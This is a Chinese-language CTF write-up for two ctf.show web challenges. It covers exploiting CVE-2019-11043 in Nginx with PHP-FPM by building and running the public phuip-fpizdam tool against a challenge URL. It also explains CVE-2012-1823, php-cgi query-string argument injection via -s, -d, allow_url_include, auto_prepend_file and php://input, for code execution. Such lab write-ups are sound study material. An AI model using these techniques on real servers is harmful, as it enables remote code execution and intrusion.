web312
CVE-2019-11043(使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。)
工具是基于go环境的,所以先在kali安装
XML
//更新一下apt
sudo apt update
sudo apt upgrade
//安装go
apt install golang
//测试是否成功
go -version
//下载工具源码,下不了的话科学上网开全局
git clone https://github.com/neex/phuip-fpizdam.git
//查看go环境信息
go env
//目录跳转
cd phuip-fpizdam
//安装所需
go get -v && go build
然后利用工具进行远程代码执行的利用go run . "http://351a2d6a-33c8-4a71-b150-2cd1c82b8eac.challenge.ctf.show/index.php"

如果报错如上图,执行命令切换为国内代理:go env -w GOPROXY=https://goproxy.cn

然后回到题目进行rce!

P牛 友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。
web313
CVE-2012-1823
XML
这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。
RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。
那么就可以构造cgi中的命令!
cgi模式下有如下可控命令行参数可用:
-c 指定php.ini文件(PHP的配置文件)的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
那么好查看源码使用-s(只要没有=就会把querystring当作cgi参数)

然后使用-d设置一下配置项,进行任意文件包含!
XML
allow_url_include是否允许通过url进行文件包含
auto_prepend_file这个配置项在图片马也经常用到,在任意脚本执行前先执行指定脚本
由于不能用未编码的=,那么我们编码即可!然后还有就是空格的问题,得用+而不是%20,这不知道为啥,好像说是querystring多用+吧!

用php://input伪协议即可!